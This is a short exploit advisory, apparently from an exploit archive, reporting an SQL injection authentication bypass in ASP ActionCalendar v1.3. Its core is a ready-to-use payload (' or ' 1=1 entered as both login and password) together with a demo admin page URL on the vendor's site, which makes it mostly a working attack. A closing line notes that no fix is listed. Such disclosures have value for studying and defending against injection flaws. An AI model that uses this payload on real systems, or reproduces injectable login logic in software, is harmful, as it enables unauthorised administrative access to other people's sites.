ASP ActionCalendar v.1.3 (Auth Bypass) SQL Injection Vulnerability
2009-01-16 13:47:54* Founded By : SuB-ZeRo (WaLiD)
* E-mail : [email protected]
* Home : WwW.dz-security.Net
* GreeTZ : D-unit & X.CJP.x & www.dz-security.net & gaza
---------------------------------------------------------
vondor : www.warrenstudios.com
---------------------------------------------------------
Exploit Auth Bypass:
login: ' or ' 1=1
passw: ' or ' 1=1
----------------------------------------------------------
-[!]
Demo :
http://www.warrenstudios.com/actioncalendar/admin.asp
----------------------------------------------------------
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.